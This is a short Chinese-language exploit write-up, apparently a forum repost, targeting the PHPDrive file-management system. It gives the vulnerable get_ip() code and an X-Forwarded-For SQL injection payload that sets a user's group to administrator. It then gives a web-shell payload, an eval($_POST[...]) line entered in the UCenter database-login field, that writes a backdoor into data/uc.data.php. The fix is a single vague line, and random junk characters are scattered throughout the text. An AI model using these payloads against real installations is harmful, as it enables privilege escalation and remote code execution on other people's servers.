PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
: r# e6 E+ M6 _; |1 u5 |4 d6 S
includes/user.lib.php
2 S u c0 T* W行87
6 B9 Z; M! }5 y+ f: [0 T* e" t function get_ip() {, b" J4 d, g3 Q- N
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.; D% I. y. g _4 N
在用户注册与登录 处module/disk/account.lead.php
( s' b$ X) ?+ S1 B6 a- w198行 + a" M- W& M! |# O: L0 L
//更新本次登录IP和时间; B, s( X5 Q5 y- j' X1 a J8 L
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生0 x4 a, O2 H: u; b) q
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
" l2 Z( ~8 d( P实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.* T+ y8 P9 `. b1 G: c9 }. X' ~
后台getshell:
2 ]% j: K: J& M; j# p8 s在UCenter设置处,将UC数据库登录名填写为1 v) l% E0 O" S+ q4 R. s
- `+ f' k7 V2 x5 groot’);eval($_POST[DisKill]);?>/*
8 L! i+ Q/ C" W( G X! W, Z! ^4 m; e可以得到一个shell,位置在 data/uc.data.php
" o1 z. q5 ^0 S) ~1 o! g5 V7 |, X$ E s5 W* E4 i: _1 ]: o
修复:过滤注入
6 R) p; N* ?- f4 w% d0 r: v) U0 l
. w) @( Z* u6 B. A; [/ E0 X- p9 B4 \ |